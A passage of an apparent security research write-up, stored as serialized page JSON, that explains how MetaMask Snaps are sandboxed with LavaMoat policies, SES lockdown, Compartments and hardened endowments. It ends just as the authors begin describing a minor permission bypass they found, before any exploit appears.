dependencies.",{"type":22,"tag":31,"props":38932,"children":38933},{},[38934,38936,38943],{"type":28,"value":38935},"This is how a Policy file related to the iframes ",{"type":22,"tag":42,"props":38937,"children":38940},{"href":38938,"rel":38939},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[46],[38941],{"type":28,"value":38942},"looks",{"type":28,"value":213},{"type":22,"tag":107,"props":38945,"children":38947},{"className":35935,"code":38946,"language":35937,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[38948],{"type":22,"tag":114,"props":38949,"children":38950},{"__ignoreMap":7},[38951,38964,38976,38996,39016,39036,39056,39076,39096,39116,39133,39141,39153,39173,39189,39196],{"type":22,"tag":118,"props":38952,"children":38953},{"class":120,"line":121},[38954,38959],{"type":22,"tag":118,"props":38955,"children":38956},{"style":1866},[38957],{"type":28,"value":38958},"\"@metamask/post-message-stream\"",{"type":22,"tag":118,"props":38960,"children":38961},{"style":125},[38962],{"type":28,"value":38963},": {\n",{"type":22,"tag":118,"props":38965,"children":38966},{"class":120,"line":142},[38967,38972],{"type":22,"tag":118,"props":38968,"children":38969},{"style":204},[38970],{"type":28,"value":38971},"      \"globals\"",{"type":22,"tag":118,"props":38973,"children":38974},{"style":125},[38975],{"type":28,"value":38963},{"type":22,"tag":118,"props":38977,"children":38978},{"class":120,"line":177},[38979,38984,38988,38992],{"type":22,"tag":118,"props":38980,"children":38981},{"style":204},[38982],{"type":28,"value":38983},"        \"MessageEvent.prototype\"",{"type":22,"tag":118,"props":38985,"children":38986},{"style":125},[38987],{"type":28,"value":1319},{"type":22,"tag":118,"props":38989,"children":38990},{"style":146},[38991],{"type":28,"value":6007},{"type":22,"tag":118,"props":38993,"children":38994},{"style":125},[38995],{"type":28,"value":782},{"type":22,"tag":118,"props":38997,"children":38998},{"class":120,"line":195},[38999,39004,39008,39012],{"type":22,"tag":118,"props":39000,"children":39001},{"style":204},[39002],{"type":28,"value":39003},"        \"WorkerGlobalScope\"",{"type":22,"tag":118,"props":39005,"children":39006},{"style":125},[39007],{"type":28,"value":1319},{"type":22,"tag":118,"props":39009,"children":39010},{"style":146},[39011],{"type":28,"value":6007},{"type":22,"tag":118,"props":39013,"children":39014},{"style":125},[39015],{"type":28,"value":782},{"type":22,"tag":118,"props":39017,"children":39018},{"class":120,"line":244},[39019,39024,39028,39032],{"type":22,"tag":118,"props":39020,"children":39021},{"style":204},[39022],{"type":28,"value":39023},"        \"addEventListener\"",{"type":22,"tag":118,"props":39025,"children":39026},{"style":125},[39027],{"type":28,"value":1319},{"type":22,"tag":118,"props":39029,"children":39030},{"style":146},[39031],{"type":28,"value":6007},{"type":22,"tag":118,"props":39033,"children":39034},{"style":125},[39035],{"type":28,"value":782},{"type":22,"tag":118,"props":39037,"children":39038},{"class":120,"line":253},[39039,39044,39048,39052],{"type":22,"tag":118,"props":39040,"children":39041},{"style":204},[39042],{"type":28,"value":39043},"        \"browser\"",{"type":22,"tag":118,"props":39045,"children":39046},{"style":125},[39047],{"type":28,"value":1319},{"type":22,"tag":118,"props":39049,"children":39050},{"style":146},[39051],{"type":28,"value":6007},{"type":22,"tag":118,"props":39053,"children":39054},{"style":125},[39055],{"type":28,"value":782},{"type":22,"tag":118,"props":39057,"children":39058},{"class":120,"line":263},[39059,39064,39068,39072],{"type":22,"tag":118,"props":39060,"children":39061},{"style":204},[39062],{"type":28,"value":39063},"        \"chrome\"",{"type":22,"tag":118,"props":39065,"children":39066},{"style":125},[39067],{"type":28,"value":1319},{"type":22,"tag":118,"props":39069,"children":39070},{"style":146},[39071],{"type":28,"value":6007},{"type":22,"tag":118,"props":39073,"children":39074},{"style":125},[39075],{"type":28,"value":782},{"type":22,"tag":118,"props":39077,"children":39078},{"class":120,"line":318},[39079,39084,39088,39092],{"type":22,"tag":118,"props":39080,"children":39081},{"style":204},[39082],{"type":28,"value":39083},"        \"location.origin\"",{"type":22,"tag":118,"props":39085,"children":39086},{"style":125},[39087],{"type":28,"value":1319},{"type":22,"tag":118,"props":39089,"children":39090},{"style":146},[39091],{"type":28,"value":6007},{"type":22,"tag":118,"props":39093,"children":39094},{"style":125},[39095],{"type":28,"value":782},{"type":22,"tag":118,"props":39097,"children":39098},{"class":120,"line":351},[39099,39104,39108,39112],{"type":22,"tag":118,"props":39100,"children":39101},{"style":204},[39102],{"type":28,"value":39103},"        \"postMessage\"",{"type":22,"tag":118,"props":39105,"children":39106},{"style":125},[39107],{"type":28,"value":1319},{"type":22,"tag":118,"props":39109,"children":39110},{"style":146},[39111],{"type":28,"value":6007},{"type":22,"tag":118,"props":39113,"children":39114},{"style":125},[39115],{"type":28,"value":782},{"type":22,"tag":118,"props":39117,"children":39118},{"class":120,"line":359},[39119,39124,39128],{"type":22,"tag":118,"props":39120,"children":39121},{"style":204},[39122],{"type":28,"value":39123},"        \"removeEventListener\"",{"type":22,"tag":118,"props":39125,"children":39126},{"style":125},[39127],{"type":28,"value":1319},{"type":22,"tag":118,"props":39129,"children":39130},{"style":146},[39131],{"type":28,"value":39132},"true\n",{"type":22,"tag":118,"props":39134,"children":39135},{"class":120,"line":368},[39136],{"type":22,"tag":118,"props":39137,"children":39138},{"style":125},[39139],{"type":28,"value":39140},"      },\n",{"type":22,"tag":118,"props":39142,"children":39143},{"class":120,"line":384},[39144,39149],{"type":22,"tag":118,"props":39145,"children":39146},{"style":204},[39147],{"type":28,"value":39148},"      \"packages\"",{"type":22,"tag":118,"props":39150,"children":39151},{"style":125},[39152],{"type":28,"value":38963},{"type":22,"tag":118,"props":39154,"children":39155},{"class":120,"line":417},[39156,39161,39165,39169],{"type":22,"tag":118,"props":39157,"children":39158},{"style":204},[39159],{"type":28,"value":39160},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":22,"tag":118,"props":39162,"children":39163},{"style":125},[39164],{"type":28,"value":1319},{"type":22,"tag":118,"props":39166,"children":39167},{"style":146},[39168],{"type":28,"value":6007},{"type":22,"tag":118,"props":39170,"children":39171},{"style":125},[39172],{"type":28,"value":782},{"type":22,"tag":118,"props":39174,"children":39175},{"class":120,"line":425},[39176,39181,39185],{"type":22,"tag":118,"props":39177,"children":39178},{"style":204},[39179],{"type":28,"value":39180},"        \"@metamask/post-message-stream>readable-stream\"",{"type":22,"tag":118,"props":39182,"children":39183},{"style":125},[39184],{"type":28,"value":1319},{"type":22,"tag":118,"props":39186,"children":39187},{"style":146},[39188],{"type":28,"value":39132},{"type":22,"tag":118,"props":39190,"children":39191},{"class":120,"line":441},[39192],{"type":22,"tag":118,"props":39193,"children":39194},{"style":125},[39195],{"type":28,"value":14660},{"type":22,"tag":118,"props":39197,"children":39198},{"class":120,"line":475},[39199],{"type":22,"tag":118,"props":39200,"children":39201},{"style":125},[39202],{"type":28,"value":1254},{"type":22,"tag":31,"props":39204,"children":39205},{},[39206,39208,39214,39216,39222,39224,39230,39232,39238,39239,39245],{"type":28,"value":39207},"One crucial aspect of the policy, apart from the ",{"type":22,"tag":114,"props":39209,"children":39211},{"className":39210},[],[39212],{"type":28,"value":39213},"globals",{"type":28,"value":39215}," section, is the ",{"type":22,"tag":114,"props":39217,"children":39219},{"className":39218},[],[39220],{"type":28,"value":39221},"packages",{"type":28,"value":39223}," segment. This section permits the ",{"type":22,"tag":114,"props":39225,"children":39227},{"className":39226},[],[39228],{"type":28,"value":39229},"@metamask/post-message-stream",{"type":28,"value":39231},"package to exclusively interact with the package ",{"type":22,"tag":114,"props":39233,"children":39235},{"className":39234},[],[39236],{"type":28,"value":39237},"@metamask/utils",{"type":28,"value":12991},{"type":22,"tag":114,"props":39240,"children":39242},{"className":39241},[],[39243],{"type":28,"value":39244},"readable-stream",{"type":28,"value":39246},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":22,"tag":31,"props":39248,"children":39249},{},[39250,39252,39258],{"type":28,"value":39251},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":22,"tag":114,"props":39253,"children":39255},{"className":39254},[],[39256],{"type":28,"value":39257},"lockdown",{"type":28,"value":39259}," function to freeze all javascript builtins prototypes.",{"type":22,"tag":1289,"props":39261,"children":39263},{"id":39262},"secure-ecmascript-ses-sandbox-layer-3",[39264],{"type":28,"value":39265},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":22,"tag":31,"props":39267,"children":39268},{},[39269,39271,39278],{"type":28,"value":39270},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":22,"tag":42,"props":39272,"children":39275},{"href":39273,"rel":39274},"https://github.com/endojs/endo/tree/master/packages/ses",[46],[39276],{"type":28,"value":39277},"Secure EcmaScript (SES)",{"type":28,"value":39279}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":22,"tag":1899,"props":39281,"children":39283},{"id":39282},"ses-fundamentals",[39284],{"type":28,"value":39285},"SES Fundamentals",{"type":22,"tag":39287,"props":39288,"children":39289},"h5",{"id":39257},[39290],{"type":28,"value":39291},"Lockdown",{"type":22,"tag":31,"props":39293,"children":39294},{},[39295,39297,39303],{"type":28,"value":39296},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":22,"tag":114,"props":39298,"children":39300},{"className":39299},[],[39301],{"type":28,"value":39302},"lockdown()",{"type":28,"value":39304}," function, which protects javascript objects against some attacks, mainly:",{"type":22,"tag":4029,"props":39306,"children":39307},{},[39308,39321],{"type":22,"tag":68,"props":39309,"children":39310},{},[39311,39313,39319],{"type":28,"value":39312},"Prototype Pollution\nLockdown executes ",{"type":22,"tag":114,"props":39314,"children":39316},{"className":39315},[],[39317],{"type":28,"value":39318},"Object.freeze",{"type":28,"value":39320}," against all javascript builtins prototypes, preventing these attacks.",{"type":22,"tag":68,"props":39322,"children":39323},{},[39324,39326,39332,39334,39340],{"type":28,"value":39325},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":22,"tag":114,"props":39327,"children":39329},{"className":39328},[],[39330],{"type":28,"value":39331},"trace",{"type":28,"value":39333}," attribute in an ",{"type":22,"tag":114,"props":39335,"children":39337},{"className":39336},[],[39338],{"type":28,"value":39339},"Error",{"type":28,"value":39341}," object, which contains the stack trace of the error.",{"type":22,"tag":39287,"props":39343,"children":39345},{"id":39344},"compartment",[39346],{"type":28,"value":39347},"Compartment",{"type":22,"tag":31,"props":39349,"children":39350},{},[39351,39353,39359,39361,39366],{"type":28,"value":39352},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":22,"tag":114,"props":39354,"children":39356},{"className":39355},[],[39357],{"type":28,"value":39358},"globalThis",{"type":28,"value":39360}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":22,"tag":114,"props":39362,"children":39364},{"className":39363},[],[39365],{"type":28,"value":39358},{"type":28,"value":39367}," context is incapable of tampering with security.",{"type":22,"tag":107,"props":39369,"children":39371},{"className":37554,"code":39370,"language":37556,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[39372],{"type":22,"tag":114,"props":39373,"children":39374},{"__ignoreMap":7},[39375,39404,39437],{"type":22,"tag":118,"props":39376,"children":39377},{"class":120,"line":121},[39378,39382,39387,39391,39395,39400],{"type":22,"tag":118,"props":39379,"children":39380},{"style":146},[39381],{"type":28,"value":11653},{"type":22,"tag":118,"props":39383,"children":39384},{"style":204},[39385],{"type":28,"value":39386}," c",{"type":22,"tag":118,"props":39388,"children":39389},{"style":210},[39390],{"type":28,"value":837},{"type":22,"tag":118,"props":39392,"children":39393},{"style":146},[39394],{"type":28,"value":3442},{"type":22,"tag":118,"props":39396,"children":39397},{"style":532},[39398],{"type":28,"value":39399}," Compartment",{"type":22,"tag":118,"props":39401,"children":39402},{"style":125},[39403],{"type":28,"value":1098},{"type":22,"tag":118,"props":39405,"children":39406},{"class":120,"line":142},[39407,39411,39415,39419,39423,39428,39432],{"type":22,"tag":118,"props":39408,"children":39409},{"style":204},[39410],{"type":28,"value":5169},{"type":22,"tag":118,"props":39412,"children":39413},{"style":125},[39414],{"type":28,"value":292},{"type":22,"tag":118,"props":39416,"children":39417},{"style":204},[39418],{"type":28,"value":39358},{"type":22,"tag":118,"props":39420,"children":39421},{"style":210},[39422],{"type":28,"value":33361},{"type":22,"tag":118,"props":39424,"children":39425},{"style":204},[39426],{"type":28,"value":39427}," globalThis",{"type":22,"tag":118,"props":39429,"children":39430},{"style":125},[39431],{"type":28,"value":19191},{"type":22,"tag":118,"props":39433,"children":39434},{"style":257},[39435],{"type":28,"value":39436},"// false\n",{"type":22,"tag":118,"props":39438,"children":39439},{"class":120,"line":177},[39440,39444,39448,39452,39456,39461,39465,39470,39474],{"type":22,"tag":118,"props":39441,"children":39442},{"style":204},[39443],{"type":28,"value":5169},{"type":22,"tag":118,"props":39445,"children":39446},{"style":125},[39447],{"type":28,"value":292},{"type":22,"tag":118,"props":39449,"children":39450},{"style":204},[39451],{"type":28,"value":39358},{"type":22,"tag":118,"props":39453,"children":39454},{"style":125},[39455],{"type":28,"value":292},{"type":22,"tag":118,"props":39457,"children":39458},{"style":204},[39459],{"type":28,"value":39460},"JSON",{"type":22,"tag":118,"props":39462,"children":39463},{"style":210},[39464],{"type":28,"value":33361},{"type":22,"tag":118,"props":39466,"children":39467},{"style":204},[39468],{"type":28,"value":39469}," JSON",{"type":22,"tag":118,"props":39471,"children":39472},{"style":125},[39473],{"type":28,"value":19191},{"type":22,"tag":118,"props":39475,"children":39476},{"style":257},[39477],{"type":28,"value":39478},"// true\n",{"type":22,"tag":31,"props":39480,"children":39481},{},[39482,39484,39490,39492,39498,39500,39505],{"type":28,"value":39483},"Compartment also changes the behaviour of evaluators functions such as ",{"type":22,"tag":114,"props":39485,"children":39487},{"className":39486},[],[39488],{"type":28,"value":39489},"eval",{"type":28,"value":39491}," and the ",{"type":22,"tag":114,"props":39493,"children":39495},{"className":39494},[],[39496],{"type":28,"value":39497},"Function",{"type":28,"value":39499}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":22,"tag":114,"props":39501,"children":39503},{"className":39502},[],[39504],{"type":28,"value":39358},{"type":28,"value":292},{"type":22,"tag":39287,"props":39507,"children":39509},{"id":39508},"endowments",[39510],{"type":28,"value":39511},"Endowments",{"type":22,"tag":31,"props":39513,"children":39514},{},[39515,39517,39521,39523,39528],{"type":28,"value":39516},"While creating a Compartment, it is possible to specify ",{"type":22,"tag":4764,"props":39518,"children":39519},{},[39520],{"type":28,"value":39508},{"type":28,"value":39522},". These endowments constitute objects that become accessible within the Compartment's ",{"type":22,"tag":114,"props":39524,"children":39526},{"className":39525},[],[39527],{"type":28,"value":39358},{"type":28,"value":39529},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":22,"tag":31,"props":39531,"children":39532},{},[39533,39535,39541],{"type":28,"value":39534},"In addition, SES provides the ",{"type":22,"tag":114,"props":39536,"children":39538},{"className":39537},[],[39539],{"type":28,"value":39540},"harden()",{"type":28,"value":39542}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":22,"tag":1899,"props":39544,"children":39546},{"id":39545},"setting-up-snaps-execution-env",[39547],{"type":28,"value":39548},"Setting up Snaps Execution Env",{"type":22,"tag":31,"props":39550,"children":39551},{},[39552],{"type":28,"value":39553},"When starting a snap, the setup follows these steps:",{"type":22,"tag":4029,"props":39555,"children":39556},{},[39557],{"type":22,"tag":68,"props":39558,"children":39559},{},[39560],{"type":22,"tag":74,"props":39561,"children":39562},{},[39563,39565],{"type":28,"value":39564},"Create endowments based on snap ",{"type":22,"tag":42,"props":39566,"children":39569},{"href":39567,"rel":39568},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[46],[39570],{"type":28,"value":39571},"permissions",{"type":22,"tag":107,"props":39573,"children":39575},{"className":37554,"code":39574,"language":37556,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[39576],{"type":22,"tag":114,"props":39577,"children":39578},{"__ignoreMap":7},[39579,39629,39641,39652,39664,39676],{"type":22,"tag":118,"props":39580,"children":39581},{"class":120,"line":121},[39582,39586,39590,39594,39598,39603,39607,39612,39616,39620,39625],{"type":22,"tag":118,"props":39583,"children":39584},{"style":146},[39585],{"type":28,"value":11653},{"type":22,"tag":118,"props":39587,"children":39588},{"style":125},[39589],{"type":28,"value":11584},{"type":22,"tag":118,"props":39591,"children":39592},{"style":204},[39593],{"type":28,"value":39508},{"type":22,"tag":118,"props":39595,"children":39596},{"style":125},[39597],{"type":28,"value":231},{"type":22,"tag":118,"props":39599,"children":39600},{"style":204},[39601],{"type":28,"value":39602},"teardown",{"type":22,"tag":118,"props":39604,"children":39605},{"style":125},[39606],{"type":28,"value":1319},{"type":22,"tag":118,"props":39608,"children":39609},{"style":204},[39610],{"type":28,"value":39611},"endowmentTeardown",{"type":22,"tag":118,"props":39613,"children":39614},{"style":125},[39615],{"type":28,"value":38143},{"type":22,"tag":118,"props":39617,"children":39618},{"style":210},[39619],{"type":28,"value":282},{"type":22,"tag":118,"props":39621,"children":39622},{"style":532},[39623],{"type":28,"value":39624}," createEndowments",{"type":22,"tag":118,"props":39626,"children":39627},{"style":125},[39628],{"type":28,"value":696},{"type":22,"tag":118,"props":39630,"children":39631},{"class":120,"line":142},[39632,39637],{"type":22,"tag":118,"props":39633,"children":39634},{"style":204},[39635],{"type":28,"value":39636},"    snap",{"type":22,"tag":118,"props":39638,"children":39639},{"style":125},[39640],{"type":28,"value":782},{"type":22,"tag":118,"props":39642,"children":39643},{"class":120,"line":177},[39644,39648],{"type":22,"tag":118,"props":39645,"children":39646},{"style":204},[39647],{"type":28,"value":33423},{"type":22,"tag":118,"props":39649,"children":39650},{"style":125},[39651],{"type":28,"value":782},{"type":22,"tag":118,"props":39653,"children":39654},{"class":120,"line":195},[39655,39660],{"type":22,"tag":118,"props":39656,"children":39657},{"style":204},[39658],{"type":28,"value":39659},"    snapId",{"type":22,"tag":118,"props":39661,"children":39662},{"style":125},[39663],{"type":28,"value":782},{"type":22,"tag":118,"props":39665,"children":39666},{"class":120,"line":244},[39667,39672],{"type":22,"tag":118,"props":39668,"children":39669},{"style":204},[39670],{"type":28,"value":39671},"    _endowments",{"type":22,"tag":118,"props":39673,"children":39674},{"style":125},[39675],{"type":28,"value":782},{"type":22,"tag":118,"props":39677,"children":39678},{"class":120,"line":253},[39679],{"type":22,"tag":118,"props":39680,"children":39681},{"style":125},[39682],{"type":28,"value":682},{"type":22,"tag":31,"props":39684,"children":39685},{},[39686],{"type":28,"value":39687},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":22,"tag":31,"props":39689,"children":39690},{},[39691,39693,39699,39701,39707],{"type":28,"value":39692},"One clear example is the ",{"type":22,"tag":114,"props":39694,"children":39696},{"className":39695},[],[39697],{"type":28,"value":39698},"endowment:network-access",{"type":28,"value":39700}," permission, that adds the ",{"type":22,"tag":114,"props":39702,"children":39704},{"className":39703},[],[39705],{"type":28,"value":39706},"fetch()",{"type":28,"value":39708}," function to the endowments.",{"type":22,"tag":31,"props":39710,"children":39711},{},[39712,39714,39720],{"type":28,"value":39713},"All endowments are protected with the ",{"type":22,"tag":114,"props":39715,"children":39717},{"className":39716},[],[39718],{"type":28,"value":39719},"harden",{"type":28,"value":39721}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":22,"tag":4029,"props":39723,"children":39724},{"start":142},[39725],{"type":22,"tag":68,"props":39726,"children":39727},{},[39728],{"type":22,"tag":74,"props":39729,"children":39730},{},[39731,39733],{"type":28,"value":39732},"Create the snap ",{"type":22,"tag":42,"props":39734,"children":39737},{"href":39735,"rel":39736},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[46],[39738],{"type":28,"value":39344},{"type":22,"tag":107,"props":39740,"children":39742},{"className":37554,"code":39741,"language":37556,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[39743],{"type":22,"tag":114,"props":39744,"children":39745},{"__ignoreMap":7},[39746,39774,39790,39807,39832],{"type":22,"tag":118,"props":39747,"children":39748},{"class":120,"line":121},[39749,39753,39758,39762,39766,39770],{"type":22,"tag":118,"props":39750,"children":39751},{"style":146},[39752],{"type":28,"value":11653},{"type":22,"tag":118,"props":39754,"children":39755},{"style":204},[39756],{"type":28,"value":39757}," compartment",{"type":22,"tag":118,"props":39759,"children":39760},{"style":210},[39761],{"type":28,"value":837},{"type":22,"tag":118,"props":39763,"children":39764},{"style":146},[39765],{"type":28,"value":3442},{"type":22,"tag":118,"props":39767,"children":39768},{"style":532},[39769],{"type":28,"value":39399},{"type":22,"tag":118,"props":39771,"children":39772},{"style":125},[39773],{"type":28,"value":17116},{"type":22,"tag":118,"props":39775,"children":39776},{"class":120,"line":142},[39777,39782,39786],{"type":22,"tag":118,"props":39778,"children":39779},{"style":210},[39780],{"type":28,"value":39781},"    ...",{"type":22,"tag":118,"props":39783,"children":39784},{"style":204},[39785],{"type":28,"value":39508},{"type":22,"tag":118,"props":39787,"children":39788},{"style":125},[39789],{"type":28,"value":782},{"type":22,"tag":118,"props":39791,"children":39792},{"class":120,"line":177},[39793,39798,39803],{"type":22,"tag":118,"props":39794,"children":39795},{"style":204},[39796],{"type":28,"value":39797},"    module:",{"type":22,"tag":118,"props":39799,"children":39800},{"style":204},[39801],{"type":28,"value":39802}," snapModule",{"type":22,"tag":118,"props":39804,"children":39805},{"style":125},[39806],{"type":28,"value":782},{"type":22,"tag":118,"props":39808,"children":39809},{"class":120,"line":195},[39810,39815,39819,39823,39828],{"type":22,"tag":118,"props":39811,"children":39812},{"style":204},[39813],{"type":28,"value":39814},"    exports:",{"type":22,"tag":118,"props":39816,"children":39817},{"style":204},[39818],{"type":28,"value":39802},{"type":22,"tag":118,"props":39820,"children":39821},{"style":125},[39822],{"type":28,"value":292},{"type":22,"tag":118,"props":39824,"children":39825},{"style":204},[39826],{"type":28,"value":39827},"exports",{"type":22,"tag":118,"props":39829,"children":39830},{"style":125},[39831],{"type":28,"value":782},{"type":22,"tag":118,"props":39833,"children":39834},{"class":120,"line":244},[39835],{"type":22,"tag":118,"props":39836,"children":39837},{"style":125},[39838],{"type":28,"value":37278},{"type":22,"tag":31,"props":39840,"children":39841},{},[39842,39844,39850,39851,39856,39858,39863],{"type":28,"value":39843},"Note: ",{"type":22,"tag":114,"props":39845,"children":39847},{"className":39846},[],[39848],{"type":28,"value":39849},"module",{"type":28,"value":12991},{"type":22,"tag":114,"props":39852,"children":39854},{"className":39853},[],[39855],{"type":28,"value":39827},{"type":28,"value":39857}," are passed as endowments, but without being ",{"type":22,"tag":4764,"props":39859,"children":39860},{},[39861],{"type":28,"value":39862},"hardened",{"type":28,"value":39864},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":22,"tag":4029,"props":39866,"children":39867},{"start":177},[39868],{"type":22,"tag":68,"props":39869,"children":39870},{},[39871],{"type":22,"tag":74,"props":39872,"children":39873},{},[39874,39876],{"type":28,"value":39875},"Evaluate the snap code inside the ",{"type":22,"tag":42,"props":39877,"children":39880},{"href":39878,"rel":39879},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[46],[39881],{"type":28,"value":39344},{"type":22,"tag":107,"props":39883,"children":39885},{"className":37554,"code":39884,"language":37556,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[39886],{"type":22,"tag":114,"props":39887,"children":39888},{"__ignoreMap":7},[39889,39930,39960,39997],{"type":22,"tag":118,"props":39890,"children":39891},{"class":120,"line":121},[39892,39896,39900,39904,39909,39913,39917,39922,39926],{"type":22,"tag":118,"props":39893,"children":39894},{"style":1480},[39895],{"type":28,"value":34855},{"type":22,"tag":118,"props":39897,"children":39898},{"style":146},[39899],{"type":28,"value":37657},{"type":22,"tag":118,"props":39901,"children":39902},{"style":125},[39903],{"type":28,"value":292},{"type":22,"tag":118,"props":39905,"children":39906},{"style":532},[39907],{"type":28,"value":39908},"executeInSnapContext",{"type":22,"tag":118,"props":39910,"children":39911},{"style":125},[39912],{"type":28,"value":540},{"type":22,"tag":118,"props":39914,"children":39915},{"style":204},[39916],{"type":28,"value":37961},{"type":22,"tag":118,"props":39918,"children":39919},{"style":125},[39920],{"type":28,"value":39921},", () ",{"type":22,"tag":118,"props":39923,"children":39924},{"style":146},[39925],{"type":28,"value":1616},{"type":22,"tag":118,"props":39927,"children":39928},{"style":125},[39929],{"type":28,"value":1474},{"type":22,"tag":118,"props":39931,"children":39932},{"class":120,"line":142},[39933,39938,39942,39947,39951,39956],{"type":22,"tag":118,"props":39934,"children":39935},{"style":204},[39936],{"type":28,"value":39937},"    compartment",{"type":22,"tag":118,"props":39939,"children":39940},{"style":125},[39941],{"type":28,"value":292},{"type":22,"tag":118,"props":39943,"children":39944},{"style":532},[39945],{"type":28,"value":39946},"evaluate",{"type":22,"tag":118,"props":39948,"children":39949},{"style":125},[39950],{"type":28,"value":540},{"type":22,"tag":118,"props":39952,"children":39953},{"style":204},[39954],{"type":28,"value":39955},"sourceCode",{"type":22,"tag":118,"props":39957,"children":39958},{"style":125},[39959],{"type":28,"value":682},{"type":22,"tag":118,"props":39961,"children":39962},{"class":120,"line":177},[39963,39967,39971,39976,39980,39984,39988,39993],{"type":22,"tag":118,"props":39964,"children":39965},{"style":146},[39966],{"type":28,"value":38005},{"type":22,"tag":118,"props":39968,"children":39969},{"style":125},[39970],{"type":28,"value":292},{"type":22,"tag":118,"props":39972,"children":39973},{"style":532},[39974],{"type":28,"value":39975},"registerSnapExports",{"type":22,"tag":118,"props":39977,"children":39978},{"style":125},[39979],{"type":28,"value":540},{"type":22,"tag":118,"props":39981,"children":39982},{"style":204},[39983],{"type":28,"value":37961},{"type":22,"tag":118,"props":39985,"children":39986},{"style":125},[39987],{"type":28,"value":231},{"type":22,"tag":118,"props":39989,"children":39990},{"style":204},[39991],{"type":28,"value":39992},"snapModule",{"type":22,"tag":118,"props":39994,"children":39995},{"style":125},[39996],{"type":28,"value":682},{"type":22,"tag":118,"props":39998,"children":39999},{"class":120,"line":195},[40000],{"type":22,"tag":118,"props":40001,"children":40002},{"style":125},[40003],{"type":28,"value":37278},{"type":22,"tag":31,"props":40005,"children":40006},{},[40007,40009,40015,40016,40022,40023,40029],{"type":28,"value":40008},"According to the documentation, the snap must contain one of the following function exports: ",{"type":22,"tag":114,"props":40010,"children":40012},{"className":40011},[],[40013],{"type":28,"value":40014},"onRpcRequest",{"type":28,"value":231},{"type":22,"tag":114,"props":40017,"children":40019},{"className":40018},[],[40020],{"type":28,"value":40021},"onTransaction",{"type":28,"value":15128},{"type":22,"tag":114,"props":40024,"children":40026},{"className":40025},[],[40027],{"type":28,"value":40028},"onCronjob",{"type":28,"value":292},{"type":22,"tag":31,"props":40031,"children":40032},{},[40033,40035,40040],{"type":28,"value":40034},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":22,"tag":114,"props":40036,"children":40038},{"className":40037},[],[40039],{"type":28,"value":39358},{"type":28,"value":40041}," environment of that Compartment.",{"type":22,"tag":31,"props":40043,"children":40044},{},[40045],{"type":28,"value":40046},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":22,"tag":23,"props":40048,"children":40050},{"id":40049},"vulnerability-research",[40051],{"type":28,"value":40052},"Vulnerability research",{"type":22,"tag":1289,"props":40054,"children":40056},{"id":40055},"possible-attacks",[40057],{"type":28,"value":40058},"Possible attacks",{"type":22,"tag":31,"props":40060,"children":40061},{},[40062],{"type":28,"value":40063},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":22,"tag":64,"props":40065,"children":40066},{},[40067,40072,40077,40082],{"type":22,"tag":68,"props":40068,"children":40069},{},[40070],{"type":28,"value":40071},"Broken SES Container isolation",{"type":22,"tag":68,"props":40073,"children":40074},{},[40075],{"type":28,"value":40076},"Insecure endowments in Containers",{"type":22,"tag":68,"props":40078,"children":40079},{},[40080],{"type":28,"value":40081},"Incorrect RPC permission checks",{"type":22,"tag":68,"props":40083,"children":40084},{},[40085],{"type":28,"value":40086},"Insecure snap installation/update",{"type":22,"tag":31,"props":40088,"children":40089},{},[40090],{"type":28,"value":40091},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":22,"tag":31,"props":40093,"children":40094},{},[40095],{"type":28,"value":40096},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":22,"tag":1289,"props":40098,"children":40100},{"id":40099},"rpc-interfaces-endowments",[40101],{"type":28,"value":40102},"RPC interfaces 